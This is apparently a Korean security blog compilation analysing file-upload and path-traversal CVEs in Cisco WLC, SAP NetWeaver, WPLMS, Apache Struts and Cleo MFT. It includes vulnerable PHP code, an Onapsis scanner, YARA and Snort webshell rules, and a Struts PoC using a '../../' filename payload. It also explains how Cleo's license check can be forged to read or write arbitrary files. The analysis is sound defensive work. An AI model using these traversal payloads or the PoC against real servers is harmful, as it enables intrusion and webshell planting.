1. Cisco 무선 LAN 컨트롤러

- Access Point (AP)를 중앙에서 관리 및 제어할 수 있도록 해줌 [1]

2. 취약점

[사진 1] CVE-2025-20188 [2]

- Cisco 무선 LAN 컨트롤러의 Out-of-Band AP 이미지 다운로드 기능에서 발견된 파일 업로드 취약점 (CVSS: 10.0)

> 영향받는 시스템에 JSON Web Token(JWT)이 하드 코딩되어 있어 이를 악용해 임의 파일을 업로드하여 추가 악성 행위를 수행할 수 있음

 

- JSON Web Token(JWT) [3][4][5]

> JSON 객체에 인증에 필요한 정보들을 담은 후 비밀키로 서명한 토큰으로, 인터넷 표준 인증 방식

 

- Out-of-Band AP 이미지 다운로드 기능 [6]

> 새로운 AP가 컨트롤러에 연결될 때, 해당 AP 운영에 필요한 이미지를 CAPWAP 프로토콜을 사용해 전송

> 네트워크 제약 등 다양한 제약 사항으로 인해 CAPWAP가 아닌 HTTPS를 사용해 이미지를 다운로드할 수 있도록 하는 기능

> 기본적으로 비활성화되어 있음

※ CAPWAP (Control and Provisioning of Wireless Access Points) : 무선 액세스 포인트(AP)와 무선 LAN 컨트롤러(WLC) 간 통신을 위해 사용되는 프로토콜

영향받는 버전
- 클라우드용 Catalyst 9800-CL 무선 컨트롤러
- Catalyst 9300, 9400 및 9500 시리즈 스위치용 Catalyst 9800 임베디드 무선 컨트롤러
- Catalyst 9800 시리즈 무선 컨트롤러
- Catalyst AP에 내장된 무선 컨트롤러
Out-of-Band AP 이미지 다운로드 기능이 Default로 비활성화이므로 해당 기능을 사용 중인 경우만 취약점에 영향받음

3. 대응방안

- 벤더사 제공 업데이트 적용 [7]

> 즉각적인 업데이트가 불가할 경우 Out-of-Band AP 이미지 다운로드 기능 비활성화

[Out-of-Band AP 이미지 다운로드 기능 활성화 여부 확인 방법]
> "show running-config | include ap upgrade" 명령의 결과가 아래처럼 나올 경우 해당 기능 활성화

wlc# show running-config | include ap
upgrade ap upgrade method https
wlc#

4. 참고

[1] https://www.cisco.com/site/us/en/products/networking/wireless/wireless-lan-controllers/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-20188
[3] https://velog.io/@chuu1019/%EC%95%8C%EA%B3%A0-%EC%93%B0%EC%9E%90-JWTJson-Web-Token
[4] https://puleugo.tistory.com/138
[5] https://blog.bizspring.co.kr/%ED%85%8C%ED%81%AC/jwt-json-web-token-%EA%B5%AC%EC%A1%B0-%EC%82%AC%EC%9A%A9/
[6] https://www.cisco.com/c/en/us/td/docs/wireless/controller/9800/17-13/config-guide/b_wl_17_13_cg/m_eff_image_upgrade_ewlc.html
[7] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-file-uplpd-rHZG9UfC
[8] https://ismailtasdelen.medium.com/ciscos-ios-xe-nightmare-how-a-hard-coded-jwt-in-cve-2025-20188-let-hackers-go-full-root-%EF%B8%8F-%EF%B8%8F-48dc088a8bdb
[9] https://thehackernews.com/2025/05/cisco-patches-cve-2025-20188-100-cvss.html
[10] https://www.bleepingcomputer.com/news/security/cisco-fixes-max-severity-ios-xe-flaw-letting-attackers-hijack-devices/

1. SAP NetWeaver Visual Composer

- SAP NetWeaver : SAP의 애플리케이션 통합 및 실행 플랫폼으로, 다양한 SAP 모듈과 시스템 간 연결을 지원 [1]
- SAP NetWeaver Visual Composer : NetWeaver 상에서 동작하는 시각적 UI 개발 도구로, 코드 없이 SAP 비즈니스 앱의 화면을 설계할 수 있음 [2]

2. CVE-2025-31324

[사진 1] CVE-2025-31324 [3]

- Metadata Uploader 컴포넌트에서 접근 제어가 제대로 이루어지지 않아 임의의 파일 업로드가 가능한 취약점 (CVSS: 10.0)

> /developmentserver/metadatauploader 엔드포인트에서 접근 제어가 제대로 이루어지지 않아, 공격자가 인증 없이 JSP 웹셸 파일을 서버에 업로드 가능

> SAP Visual Composer는 기본 설치 항목은 아니지만, 다수의 시스템에서 활성화되어 있음

> 공격자가 JSP 웹쉘을 서버의 퍼블릭 디렉터리에 업로드해 인증 없이 원격 제어하는 등 활발히 악용 중이므로, 긴급 패치 권고

 -영향받는 버전
SAP NetWeaver VCFRAMEWORK 7.50

[사진 2] 실제 공격에 악용된 HTTP POST 요청 [4]

2.1 취약점 스캐너

- 보안 기업 Onapsis는 취약점을 확인할 수 있는 스캐너를 제공 [5]

> GitHub에서 스캐너의 최신 버전을 확인한 후 지정한 SAP 서버의 취약점 여부 확인

① 대상 SAP 서버의 /developmentserver/metadatauploader URL로 HEAD 요청 전송

 ⒜ 200 응답Set-Cookie 헤더가 없는 경우 취약

 ⒝ 404 응답 또는 다른 응답의 경우 취약하지 않음

사전 정의된 웹쉘 목록(KNOWN_WEBSHELLS)경로(/irj)를 대상으로 업로드된 웹쉘 확인

 ⒜ 200 응답일 경우 웹쉘 존재

※ 사전 정의된 웹쉘 목록과 특정 경로만을 대상으로 스캔을 수행하므로 정의되지 않은 웹쉘명과 경로에대한 검증은 불가

import requests
import argparse
import json
from packaging.version import parse as parse_version

__version__ = "1.0.2"
KNOWN_WEBSHELLS = ["cache.jsp", "helper.jsp"]
GITHUB_REPO = (
    "Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools"
)


def check_cve_2025_31324(hostname, port, use_ssl):
    protocol = "https" if use_ssl else "http"
    url = f"{protocol}://{hostname}:{port}/developmentserver/metadatauploader"

    try:
        response = requests.head(url, timeout=10, verify=False)
        status_code = response.status_code
        if status_code == 200 and 'Set-Cookie' not in response.headers:
            print(
                f"[CRITICAL] SAP System at {url} appears to be vulnerable to "
                "CVE-2025-31324."
            )
        elif status_code == 404:
            print(
                f"[INFO] Visual Composer SAP System at {url} appears to not "
                "be installed or unavailable."
            )
        else:
            print(
                f"[INFO] The SAP system at {url} does not appear to be "
                "vulnerable to CVE-2025-31324."
            )
    except requests.exceptions.RequestException as e:
        print(f"Error connecting to {url} for vulnerability testing: {e}")


def test_webshell(hostname, port, use_ssl):
    webshell_found = False
    for webshell_filename in KNOWN_WEBSHELLS:
        protocol = "https" if use_ssl else "http"
        url = f"{protocol}://{hostname}:{port}/irj/{webshell_filename}"
        try:
            response = requests.get(url, timeout=10, verify=False)
            if response.status_code == 200:
                print(f"[CRITICAL] Known webshell found at: {url}")
                webshell_found = True

        except requests.exceptions.RequestException as e:
            print(
                f"[ERROR] Error connecting to {url} for webshell testing: {e}"
            )
    if not webshell_found:
        print("[INFO] No known webshells found.")


def check_for_updates():
    try:
        url = f"https://api.github.com/repos/{GITHUB_REPO}/releases/latest"
        response = requests.get(url)
        response.raise_for_status()
        release_info = response.json()
        latest_version = release_info.get("tag_name")
        if latest_version:
            latest_version = latest_version.lstrip("v")
            current_version = parse_version(__version__)
            latest_parsed_version = parse_version(latest_version)
            if latest_parsed_version > current_version:
                print(f"[WARNING] There is a newer version, {latest_version}.")
                print(f"You are currently using version {__version__}.")

        else:
            print("Could not retrieve the latest release information.")
    except requests.exceptions.RequestException as e:
        print(f"Error checking for updates: {e}")
    except json.JSONDecodeError:
        print("Error decoding release information.")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description=(
            "Onapsis Scanner for Vulnerability CVE-2025-31324 (SAP Security "
            "3594142) - CVSS 10 (Critical). This tool checks for the presence "
            "of the vulnerability and known webshells in the SAP system. \n\n"
            "DISCLAIMER: This tool is provided from Onapsis via open source "
            "license Apache 2.0, as a contribution to the security, incident "
            "response, and SAP communities to aid in response to active "
            "exploitation of CVE-2025-31324. This tool is under development "
            "and will continue to iterate rapidly as more information becomes "
            "available either from Onapsis Research Labs or publicly. "
            "This is a best-effort development and offered as-is with no "
            "warranty or liability."
        )
    )
    parser.add_argument(
        "hostname",
        help=(
            "Hostname or IP address of the SAP system."
        )
    )
    parser.add_argument(
        "port",
        type=int,
        help="Port number of the SAP system (i.e. 50000)."
    )
    parser.add_argument(
        "--ssl",
        action="store_true",
        help="Use SSL/TLS for the connection."
    )

    args = parser.parse_args()
    check_for_updates()
    check_cve_2025_31324(args.hostname, args.port, args.ssl)
    test_webshell(args.hostname, args.port, args.ssl)

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7][8]

제품명 영향받는 버전 해결 버전
SAP NetWeaver VCFRAMEWORK 7.50 별도 보안 패치 제공 [6][7][8]

 

- 침해 여부 확인 방법 [9]

> 다음 OS 디렉토리의 루트에 'jsp', 'java', 'class' 파일 존재 여부 확인

① C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\root
② C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work
③ C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work\sync

[예시]
[root@sapserver irj]# pwd
/usr/sap/<SID>/<INSTANCE>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj
[root@sapserver irj]# find . -type f -name “*.jsp” -ls
[root@sapserver irj]# find . -type f -name “*.java” -ls
[root@sapserver irj]# find . -type f -name “*.class” -ls

 

> SAP 악용에 사용된 웹쉘 및 악용 IP IOC 제공 [9]

① 몇 가지 예외를 제외하고 대부분 파일명은 "무작위 8자리.JSP" 형태

구분 SHA256
Helper.jsp 1f72bd2643995fab4ecf7150b6367fa1b3fab17afd2abed30a98f075e4913087
Cache.jsp 794cb0a92f51e1387a6b316b8b5ff83d33a51ecf9bf7cc8e88a619ecb64f1dcf
Random 8-character names ([a-z]{8}).jsp  b3e4c4018f2d18ec93a62f59b5f7341321aff70d08812a4839b762ad3ade74ee

 

 다음 디렉토리 내에 .jsp, .class, .java 확장자 파일은 악성으로 간주

⒜ /usr/sap/<SID>/<InstanceID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root
⒝ /usr/sap/<SID>/<InstanceID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/work
⒞ /usr/sap/<SID>/<InstanceID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/work/sync

 

- 탐지 규칙

[YARA]
rule detect_CVE202531324_webshells_by_name

{
    meta:
        description = “Detects the known webshell file names that are uploaded in the root directory”
        author = “Emanuela Ionas, Onapsis Research Labs”
        date = “2025-04-30”
        tags = “CVE-2025-31324”
    strings:
        $path_1 = “/irj/root/”
        $path_2 = “/irj/”

        $webshell_1 = “cache.jsp” nocase
        $webshell_2 = “helper.jsp” nocase
        $webshell_4 = “[a-zA-Z0-9]{8}\.jsp”

        $status = “HTTP/[1,2]\.[0,1,2] 200”
    condition:
        ($webshell_1 or $webshell_2 or $webshell_4) and ($path_1 or $path_2) and $status
}

[SNORT]

alert tcp any any -> any any (msg:"CVE-2025-31324";flow:to_server,established;content:"POST";content:"/developmentserver/metadatauploader";content:"multipart/form-data";content:"filename="; content:".jsp";nocase;)

4. 참고

[1] https://help.sap.com/docs/SAP_NETWEAVER_702/ff55ab4f6c5510149ce7df0d5dc0da07/4a24dbfa64550455e10000000a421937.html
[2] https://help.sap.com/docs/SAP_NETWEAVER_702/ff55ab4f6c5510149ce7df0d5dc0da07/48db676f63f45c97e10000000a42189d.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-31324
[4] https://www.picussecurity.com/resource/blog/cve-2025-31324-sap-netweaver-remote-code-execution
[5] https://github.com/Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools
[6] https://support.sap.com/en/my-support/knowledge-base/security-notes-news/april-2025.html
[7] https://accounts.sap.com/saml2/idp/sso
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71729&menuNo=205020
[9] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
[10] https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324
[11] https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise
[12] https://www.dailysecu.com/news/articleView.html?idxno=165680

1. WPLMS 플러그인 (WordPress Learning Management System)

- WordPress를 사용해 LMS를 구축할 수 있도록 돕는 플러그인

※ Learning Management System : 학습 관리 시스템, 온라인으로 학생들의 학습을 관리할 수 있게 해주는 소프트웨어

2. 취약점

2.1 CVE-2024-56046 [2][3]

[사진 1] CVE-2024-56046

- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 10.0)

영향받는 버전 : WPLMS <= 1.9.9

 

- includes/vibe-shortcodes/shortcodes.php의 wplms_form_uploader_plupload()에 취약점 존재
> Line9 : $_REQUEST["name"] 값을 우선적으로 $fileName에 할당하며, 해당 값이 없을 경우 $_FILES["file"]["name"] 값을 사용
> Line17 : $fileName은 파일 저장 경로를 결정하는데 사용됨

 

- name 파라미터는 사용자 요청으로부터 추출 (Line9)
> 해당 값에 대한 검증 없이 사용하여 악의적인 파일(Ex. "../../../attack.php")을 사용해 파일을 업로드할 수 있음

 

- $fileName을 기반으로 서버의 특정 경로에 저장
> 해당 값에 대한 검증이 없어 임의 디렉터리에 악의적인 파일을 업로드할 수 있음

includes/vibe-shortcodes/shortcodes.php, function wplms_form_uploader_plupload()
1     function wplms_form_uploader_plupload(){
2       check_ajax_referer('wplms_form_uploader_plupload');
3     
4       if (empty($_FILES) || $_FILES['file']['error']) {
5           die('{"OK": 0, "info": "Failed to move uploaded file."}');
6       }
7       $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
8       $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
9       $fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"];
10     
11       $upload_dir_base = wp_upload_dir();
12       $folderPath = $upload_dir_base['basedir']."/wplms_form_uploader";
13       if(function_exists('is_dir') && !is_dir($folderPath)){
14           if(function_exists('mkdir')) 
15               mkdir($folderPath, 0755, true) || chmod($folderPath, 0755);
16       }
17       $filePath = $folderPath."/$fileName";
18     
19       // Open temp file
20       if($chunk == 0) 
21           $perm = "wb" ;
22       else 
23           $perm = "ab";
24     
25       $out = @fopen("{$filePath}.part",$perm );
26     
27       if ($out) {
28         // Read binary input stream and append it to temp file
29         $in = @fopen($_FILES['file']['tmp_name'], "rb");
30         
31         if ($in) {
32           while ($buff = fread($in, 4096))
33             fwrite($out, $buff);
34         } else
35           die('{"OK": 0, "info": "Failed to open input stream."}');
36         
37         @fclose($in);
38         @fclose($out);
39         
40         @unlink($_FILES['file']['tmp_name']);
41       } else
42         die('{"OK": 0, "info": "Failed to open output stream."}');
43     
44       // Check if file has been uploaded
45       if (!$chunks || $chunk == $chunks - 1) {
46         // Strip the temp .part suffix off
47           rename("{$filePath}.part", $filePath);
48           
49       }
50       die('{"OK": 1, "info": "Upload successful."}');
51       exit;
52     }

 

2.2 CVE-2024-56050 [4][5]

[사진 2] CVE-2024-56050

- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 9.9)

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- includes/vibe-shortcodes/upload_handler.php의 wp_ajax_zip_upload()에 취약점 존재
> Line4 ~ Line8 : 사용자 요청에서 값을 추출해 변수 할당
> Line18 ~ Line19 : Zip 파일 내 다른 파일이 있는 경우 extractZip()을 통해 파일 내 모든 내용을 추출
> 사용자 요청에서 추출한 값을 검증없이 사용하여 취약점 발생

 

extractZip()
> Line6 : extractTo()를 사용해 Zip 파일내 모든 파일을 $target 디렉터리에 추출
파일에 대한 검증없이 추출되어 취약점 발생
> attack.php 등의 악의적 파일을 포함한 Zip 파일을 업로드할 수 있는 문제 발생

includes/vibe-shortcodes/upload_handler.php, function wp_ajax_zip_upload()
1     function wp_ajax_zip_upload(){
2     $arr = array();
3     
4     $file = $_FILES['uploadedfile']['tmp_name'];
5     $dir = explode(".",$_FILES['uploadedfile']['name']);
6     $dir[0] = str_replace(" ","_",$dir[0]);
7     $target = $this->getUploadsPath().$dir[0];
8     $index = count($dir) -1;
9     
10     if (!isset($dir[$index]) || $dir[$index] != "zip")
11     $arr[0] = __('The Upload file must be zip archive','wplms');
12     else{
13     while(file_exists($target)){
14     $r = rand(1,10);
15     $target .= $r;
16     $dir[0] .= $r;
17     }
18     if (!empty($file))
19     $arr = $this->extractZip($file,$target,$dir[0]);
20     else
21     $arr[0] = __('File too big','wplms');
22     }
23     echo json_encode($arr);
24     die();
25     }

includes/vibe-shortcodes/upload_handler.php, function extractZip()
1     function extractZip($fileName,$target,$dir){
2     $arr = array();
3     $zip = new ZipArchive;
4     $res = $zip->open($fileName);
5     if ($res === TRUE) {
6     $zip->extractTo($target);
7     $zip->close();
8     $file = $this->getFile($target);
9     ;
10     if($file){
11     $arr[0] = 'uploaded'; 
12     $arr[1] = $this->getUploadsUrl().$dir."/".$file; 
13     $arr[2] = $dir;
14     $arr[3] =$file;
15     $arr[4] = $this->getUploadsPath().$dir; 
16     }else{
17     $arr[0] = __('Please upload zip file, Index.html file not found in package','wplms').$target.print_r($file);
18     $this->rrmdir($target);
19     }
20     }else{
21     $arr[0] = __('Upload failed !','wplms');;
22     }
23     return  $arr;
24     }

 

2.3 CVE-2024-56052 [6][7]

[사진 3] CVE-2024-56052

- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 9.9)

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- includes/assignments/assignments.php의 wplms_assignment_plupload()에 취약점 존재
> Line2 ~ Line4 : WordPress 내에서 생성된 요청인지와 로그인 유무를 검증
> Line18 : $user_id 및 $assignment_id를 기반으로 $folderPath 생성

 

- $assignment_id에 대한 유효성 검증이 없어 임의 디렉터리에 악의적인 파일을 업로드할 수 있음

includes/assignments/assignments.php, function wplms_assignment_plupload()
1     function wplms_assignment_plupload(){
2       check_ajax_referer('wplms_assignment_plupload');
3       if(!is_user_logged_in())
4           die('user not logged in');
5     
6       $user_id = get_current_user_id();
7       
8       if (empty($_FILES) || $_FILES['file']['error']) {
9         die('{"OK": 0, "info": "Failed to move uploaded file."}');
10       }
11     
12       $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
13       $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
14       $fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"];
15       
16       $upload_dir_base = wp_upload_dir();
17       $assignment_id = $_POST['assignment_id'];
18       $folderPath = $upload_dir_base['basedir']."/wplms_assignments_folder/".$user_id.'/'.$assignment_id;
19       if(function_exists('is_dir') && !is_dir($folderPath)){
20           if(function_exists('mkdir')) 
21               mkdir($folderPath, 0755, true) || chmod($folderPath, 0755);
22       }
23     
24     
25       $filePath = $folderPath."/$fileName";
26         /*if(function_exists('file_exists') && file_exists($filePath)){
27           echo __(' Chunks upload error ','wplms'). $fileName.__(' already exists.Please rename your file and try again ','wplms');
28           die();
29         }*/
30       // Open temp file
31       if($chunk == 0) $perm = "wb" ;
32       else $perm = "ab";
33     
34       $out = @fopen("{$filePath}.part",$perm );
35     
36       if ($out) {
37         // Read binary input stream and append it to temp file
38         $in = @fopen($_FILES['file']['tmp_name'], "rb");
39         
40         if ($in) {
41           while ($buff = fread($in, 4096))
42             fwrite($out, $buff);
43         } else
44           die('{"OK": 0, "info": "Failed to open input stream."}');
45         
46         @fclose($in);
47         @fclose($out);
48         
49         @unlink($_FILES['file']['tmp_name']);
50       } else
51         die('{"OK": 0, "info": "Failed to open output stream."}');
52         
53         
54       // Check if file has been uploaded
55       if (!$chunks || $chunk == $chunks - 1) {
56         // Strip the temp .part suffix off
57           rename("{$filePath}.part", $filePath);
58           
59       }
60       die('{"OK": 1, "info": "Upload successful."}');
61       exit;
62     }

3. 대응방안

- 벤더사 제공 업데이트 적용 [8][9]
> WPLMS Plugin 1.9.9.5.3

> 파일 이름과 유형을 확인하여 업로드할 수 있는 파일을 제한하는 패치 적용
> 영향을 받는 기능에 대한 추가 권한 확인을 구현하거나 영향을 받는 코드 제거

4. 참고

[1] https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wplms-and-vibebp-plugins/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-56046
[3] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-unauthenticated-arbitrary-file-upload-vulnerability
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-56050
[5] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-subscriber-arbitrary-file-upload-vulnerability
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-56052
[7] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-student-arbitrary-file-upload-vulnerability
[8] https://wplms.io/support/knowledge-base/vibebp-1-9-9-7-7-wplms-plugin-1-9-9-5-2/
[9] https://asec.ahnlab.com/ko/85311/

1. CVE-2024-53677

[사진 1] CVE-2024-53677 [1]

- Apache Struts의 파일 업로드 로직의 결함으로 인한 임의 파일 업로드 취약점 (CVSS: 9.5)
> 현재 공격에 활발히 악용되는 중으로 신속한 패치 등 조치 권고

영향받는 버전
- 2.0.0 이상~2.3.37 이하 (EoL)
- 2.5.0 이상~2.5.33 이하 (EoL)
- 6.0.0 이상~6.3.0.2 이하

 

FileUploadInterceptor를 사용하는 경우만 취약점에 영향을 받음 [2]
> 공격자는 파일 업로드 매개변수를 조작하여 경로 탐색을 활성화할 수음
> 어떤 상황에서는 원격 코드 실행을 수행하는 데 사용할 수 있는 악성 파일을 업로드할 수 있음

※ 상세 내용 확인되지 않음

 

- 벤더사 제공 업데이트 적용 [3][4]

> 새로운 Action File Upload Mechanism으로 마이그레이션 권고 (이전 버전과의 호환성이 없기 때문에 새로운 코드 리팩토링 필요)

제품명 영향받는 버전 해결 버전
Apache Struts 2.0.0 이상~2.3.37 이하 (EoL)
2.5.0 이상~2.5.33 이하 (EoL)
6.0.0 이상~6.3.0.2 이하
6.4.0 이상

2. PoC

- 파일 업로드 기능을 사용해 ../를 포함한 임의의 파일 업로드 시도 [5]

import requests
import argparse
import logging
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler()]
)

def detect_vulnerability(target_url, upload_endpoint):
    """
    Non-destructive detection of CVE-2024-53677.
    """
    logging.info("Starting detection for CVE-2024-53677 (S2-067)...")
    upload_url = urljoin(target_url, upload_endpoint)
    test_filename = "../../vuln_test.txt"
    harmless_content = "S2-067 detection test."

    # Attempt to overwrite file name using OGNL binding
    files = {
        "upload": ("test.txt", harmless_content, "text/plain"),
        "top.uploadFileName": test_filename  # Attempt filename overwrite
    }

    # Custom Content-Type boundary
    boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": m.content_type
    }

    logging.info(f"Sending test request to upload endpoint: {upload_url}")

    try:
        # Send file upload request
        response = requests.post(upload_url, headers=headers, data=m, timeout=10)

        # Analyze HTTP response
        if response.status_code == 200:
            logging.info("[INFO] File upload request succeeded.")
            if "vuln_test.txt" in response.text:
                logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")
            else:
                logging.info("[INFO] Target does not appear vulnerable.")
        elif response.status_code in [403, 401]:
            logging.info("[INFO] Access denied. Ensure proper permissions.")
        else:
            logging.info(f"[INFO] Unexpected HTTP response: {response.status_code}")
    except requests.exceptions.RequestException as e:
        logging.error(f"[ERROR] Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-53677 (S2-067) Non-destructive Detection Tool")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to file upload endpoint (e.g., /upload.action)")
    args = parser.parse_args()

    logging.info("Starting detection process...")
    detect_vulnerability(args.url, args.upload_endpoint)
    logging.info("Detection process completed.")

if __name__ == "__main__":
    main()

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-53677
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://cwiki.apache.org/confluence/display/WW/S2-067
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71607&menuNo=205020
[5] https://github.com/TAM-K592/CVE-2024-53677-S2-067/tree/ALOK
[6] https://securityonline.info/hackers-exploit-critical-apache-struts-rce-flaw-cve-2024-53677-after-poc-exploit-release/#google_vignette
[7] https://blog.qualys.com/vulnerabilities-threat-research/2024/12/16/critical-apache-struts-file-upload-vulnerability-cve-2024-53677-risks-implications-and-enterprise-countermeasures
[8] https://www.cyber.gc.ca/en/alerts-advisories/cve-2024-53677-vulnerability-impacting-apache-struts-2#fn2
[9] https://www.bleepingcomputer.com/news/security/new-critical-apache-struts-flaw-exploited-to-find-vulnerable-servers/
[10] https://thehackernews.com/2024/12/patch-alert-critical-apache-struts-flaw.html

1. Cleo

- 데이터 통합 및 관리형 파일 전송 솔루션(MFT)을 제공하는 글로벌 소프트웨어 기업 [1]

2. 취약점

2.1 CVE-2024-50623

[사진 1] CVE-2024-50623 [2]

- Cleo MFT SW에서 발생하는 파일 읽기/쓰기 취약점

> 24.10 적용된 패치에 대한 우회를 허용하는 Zero-Day 취약점으로 공격에 악용되는 중

영향받는 버전
- Cleo Harmony < 5.8.0.21
- Cleo VLTrader < 5.8.0.21
- Cleo LexiCom < 5.8.0.21

 

2.2 상세내용

- 취약점은 /Synchronization 엔드포인트에서 발생

> 클러스터 노드 간 파일 동기화를 처리하는 엔드포인트

 

- syncIn 메소드는 /Synchronization으로 들어온 HTTP 요청을 핸들링

> 다음 형식을 갖는 "SYNC_HEADER(”VLSync”)" 헤더를 찾을 경우 이를 파싱해  Retrieve, l, v, n 등의 파라미터를 가져옴

> 각각의 매개변수는 명령(Retrieve), l(라이선스 시리얼번호), v(버전), n(소프트웨어 이름)

 public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
        int statusCode = 500;
        InputStream in = null;
        int len = 0;

        try {
            in = httpRequest.getInputStream();
            len = httpRequest.getContentLength();
            boolean found = false;
            Enumeration headers = httpRequest.getHeaderNames();

            while(headers.hasMoreElements()) {
                String header = (String)headers.nextElement();
                if (header.equalsIgnoreCase(SYNC_HEADER)) {
                    found = true;
                    String value = httpRequest.getHeader(header);
                    String serialNumber = getDecodedParameterValue(value, "l", true);
                    if (hasToken(value, START)) {
                        // ... omitted ...
                        break;
                    }

                    if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0

 

- 매개변수 중 l은 islValid 메소드를 통해 유효성 검증

> 유효성 검증은 6번째 문자가 '-'인 13자리인지 확인한 후 문자열을 비교하는 단순한 형태로 이루어짐

> License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))를 만족하는 형태의 시리얼 넘버를 직접 생성해 사용할 수 있음

protected static boolean islValid(String serialNumber) {
     if (serialNumber == null) {
         return false;
      } else if (serialNumber.length() == 13 && serialNumber.charAt(6) == '-') {
          if (!License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))) {
              return false;
          }
      }
      // ... further code omitted ..
    }
    
public static String scramble(String serial) {
        int shift = 0;

        for(int i = 0; i < serial.length(); ++i) {
            shift ^= serial.charAt(i);
        }

        StringBuffer sb = new StringBuffer(serial);
        sb.setCharAt(0, shiftLetter(Character.toUpperCase(sb.charAt(0)), shift + 4));
        sb.setCharAt(1, shiftLetter(Character.toUpperCase(sb.charAt(1)), shift + 2));
        sb.setCharAt(2, shiftNumber(sb.charAt(2), shift));
        sb.setCharAt(3, shiftNumber(sb.charAt(3), shift + 1));
        sb.setCharAt(4, shiftNumber(sb.charAt(4), shift + 3));
        sb.setCharAt(5, shiftNumber(sb.charAt(5), shift + 5));
        return sb.toString();
    }

 

2.3 파일 읽기

- 명령이 Retrieve인 경우 retrieve 메소드에서 해당 명령을 처리

> VLSync 헤더에서 path 파라미터를 가져와 fetchLocalFile에 path가 지정한 경로에 있는 파일을 읽어 응답으로 반환

> 이때, path 값에 대한 검증을 수행하지 않아 "../" 등의 디렉터리 이동 문자열을 이용할 수 있음

  private int retrieve(String header, HttpServletResponse httpResponse) {
        String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
        // ... omitted ...
        String path = fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (statusCode == 200) {
            try {
                byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase));
                fireRetrieveEvent(path);
                statusCode = 200;
                httpResponse.setStatus(200);
                httpResponse.setContentLength(bytes.length);
                httpResponse.setHeader("Connection", "close");
                ServletOutputStream outputStream = httpResponse.getOutputStream();
                outputStream.write(bytes);
                outputStream.close();
            } catch (FileNotFoundException e) {
                statusCode = 404;
            } catch (Exception ex) {
                // ... omitted ...
            }
        }
        return statusCode;
    }

 

[사진 2] 공격 예시

2.4 파일 쓰기

- ADD 명령을 사용해 임의의 파일을 쓸 수 있음

> fileIn 메소드에서 ADD 명령을 처리

> path 파라미터를 파싱하며, 이는 쓸 파일의 경로를 지정하며, 이후 파일의 존재 여부와 쓰기가 가능한지 확인

private int fileIn(String header, InputStream in, int length) throws Exception {
        int statusCode = 200;
        String serialNumber = getDecodedParameterValue(header, "l", true);
        // ... omitted ...
        String path = this.fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (file.exists() && !file.canWrite()) {
            statusCode = 403;
        } else {

 

